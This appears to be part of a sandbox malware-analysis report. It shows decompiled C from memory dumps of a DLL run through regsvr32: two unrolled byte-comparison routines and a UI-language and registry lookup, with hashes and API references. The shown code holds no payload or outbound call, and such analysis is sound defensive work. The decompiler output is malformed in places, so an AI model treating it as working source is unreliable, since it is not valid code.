Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 58f509fdb222ca7060b2eae822090135517dfdc7c002ac52267cef539c7c6eb7
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 07D16073C0AAB30A8376C12D415852EEBE2AFC199531BC7E1DCD43F289D636DE8596D0

Uniqueness

Uniqueness Score: -1.00%

Function 10018A71, Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E10018A71(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

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Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: cc46d25ea22f0c970390981d75405525d0e25b6b0a86731603265a14af2b5516
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 2EC14F73C0AAF30A8375C12D455812AEFE2AFC169531BC7E1DCD43F28992369F8596D0

Uniqueness

Uniqueness Score: -1.00%

Function 1001869D, Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1001869D(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t293 == 0) {
										L59:
										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

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Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: dcda9d5c94f77def7d8943a89e96ba339e92ee3075ebe02bffe06bb3663a938a
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 2AC14D73D0AAF30A8365C12D455812AEAE2AFC158432FC7A1DCD43F289D636DF8597D0

Uniqueness

Uniqueness Score: -1.00%

Function 1000AA3A, Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 229
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1000AA3A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				signed int _t73;
				struct HINSTANCE__* _t78;
				_Unknown_base(*)()* _t79;
				struct HINSTANCE__* _t81;
				signed int _t92;
				signed int _t94;
				unsigned int _t97;
				void* _t113;
				unsigned int _t115;
				signed short _t123;
				unsigned int _t124;
				_Unknown_base(*)()* _t131;
				signed short _t133;
				unsigned int _t134;
				intOrPtr _t143;
				void* _t144;
				int _t145;
				int _t146;
				signed int _t164;
				void* _t167;
				signed int _t169;
				void* _t170;
				int _t172;
				signed int _t176;
				void* _t177;
				CHAR* _t181;
				void* _t183;
				void* _t184;

				_t167 = __edx;
				_t184 = _t183 - 0x118;
				_t181 = _t184 - 4;
				_t73 =  *0x10057a08; // 0xe6b5ff6d
				_t181[0x118] = _t73 ^ _t181;
				_push(0x58);
				E10017BC1(E10027E56, __ebx, __edi, __esi);
				_t169 = 0;
				 *(_t181 - 0x40) = _t181[0x124];
				 *(_t181 - 0x14) = 0;
				 *(_t181 - 0x10) = 0;
				_t78 = GetModuleHandleA("kernel32.dll");
				 *(_t181 - 0x18) = _t78;
				_t79 = GetProcAddress(_t78, "GetUserDefaultUILanguage");
				if(_t79 == 0) {
					if(GetVersion() >= 0) {
						_t81 = GetModuleHandleA("ntdll.dll");
						if(_t81 != 0) {
							 *(_t181 - 0x14) = 0;
							EnumResourceLanguagesA(_t81, 0x10, 1, E1000A1E3, _t181 - 0x14);
							if( *(_t181 - 0x14) != 0) {
								_t97 =  *(_t181 - 0x14) & 0x0000ffff;
								_t145 = _t97 & 0x3ff;
								 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t97 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t145);
								 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t145);
								 *(_t181 - 0x10) = 2;
							}
						}
					} else {
						 *(_t181 - 0x18) = 0;
						if(RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019, _t181 - 0x18) == 0) {
							 *(_t181 - 0x44) = 0x10;
							if(RegQueryValueExA( *(_t181 - 0x18), 0, 0, _t181 - 0x20,  &(_t181[0x108]), _t181 - 0x44) == 0 &&  *(_t181 - 0x20) == 1) {
								_t113 = E1001815B( &(_t181[0x108]), "%x", _t181 - 0x1c);
								_t184 = _t184 + 0xc;
								if(_t113 == 1) {
									 *(_t181 - 0x14) =  *(_t181 - 0x1c) & 0x0000ffff;
									_t115 =  *(_t181 - 0x1c) & 0x0000ffff;
									_t146 = _t115 & 0x3ff;
									 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t115 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t146);
									 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t146);
									 *(_t181 - 0x10) = 2;
								}
							}
							RegCloseKey( *(_t181 - 0x18));
						}
					}
				} else {
					_t123 =  *_t79() & 0x0000ffff;
					 *(_t181 - 0x14) = _t123;
					_t124 = _t123 & 0x0000ffff;
					_t164 = _t124 & 0x3ff;
					 *(_t181 - 0x1c) = _t164;
					 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t124 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t164);
					 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale( *(_t181 - 0x1c));
					 *(_t181 - 0x10) = 2;
					_t131 = GetProcAddress( *(_t181 - 0x18), "GetSystemDefaultUILanguage");
					if(_t131 != 0) {
						_t133 =  *_t131() & 0x0000ffff;
						 *(_t181 - 0x14) = _t133;
						_t134 = _t133 & 0x0000ffff;
						_t172 = _t134 & 0x3ff;
						 *((intOrPtr*)(_t181 - 0x2c)) = ConvertDefaultLocale(_t134 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t172);
						 *((intOrPtr*)(_t181 - 0x28)) = ConvertDefaultLocale(_t172);
						 *(_t181 - 0x10) = 4;
					}
					_t169 = 0;
				}
				 *(_t181 - 0x10) =  &(1[ *(_t181 - 0x10)]);
				_t181[ *(_t181 - 0x10) * 4 - 0x34] = 0x800;
				_t181[0x105] = 0;
				_t181[0x104] = 0;
				if(GetModuleFileNameA(0x10000000, _t181, 0x105) != _t169) {
					_t143 = 0x20;
					E100174D0(_t169, _t181 - 0x64, _t169, _t143);
					 *((intOrPtr*)(_t181 - 0x64)) = _t143;
					 *(_t181 - 0x5c) = _t181;
					 *((intOrPtr*)(_t181 - 0x50)) = 0x3e8;
					 *(_t181 - 0x48) = 0x10000000;
					 *((intOrPtr*)(_t181 - 0x60)) = 0x88;
					E1000A1F9(_t181 - 0x3c, 0x10000000, 0xffffffff);
					 *(_t181 - 4) = _t169;
					if(E1000A2A9(_t181 - 0x3c, _t181 - 0x64) != 0) {
						E1000A2DF(_t181 - 0x3c);
					}
					_t176 = 0;
					if( *(_t181 - 0x10) <= _t169) {
						L23:
						 *(_t181 - 4) =  *(_t181 - 4) | 0xffffffff;
						E1000A8D0(_t181 - 0x3c);
						_t92 = _t169;
						goto L24;
					} else {
						while(1) {
							_t94 = E1000A803(_t143,  *(_t181 - 0x40), _t167, _t169, _t181[_t176 * 4 - 0x34]);
							if(_t94 != _t169) {
								break;
							}
							_t176 =  &(1[_t176]);
							if(_t176 <  *(_t181 - 0x10)) {
								continue;
							}
							goto L23;
						}
						_t169 = _t94;
						goto L23;
					}
				} else {
					_t92 = 0;
					L24:
					 *[fs:0x0] =  *((intOrPtr*)(_t181 - 0xc));
					_pop(_t170);
					_pop(_t177);
					_pop(_t144);
					return E100167D5(_t92, _t144, _t181[0x118] ^ _t181, _t167, _t170, _t177);
				}
			}

0x1000aa3a
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0x1000ad07
0x1000ad08
0x1000ad09
0x1000ad1e
0x1000ad1e

APIs

__EH_prolog3.LIBCMT ref: 1000AA59
GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
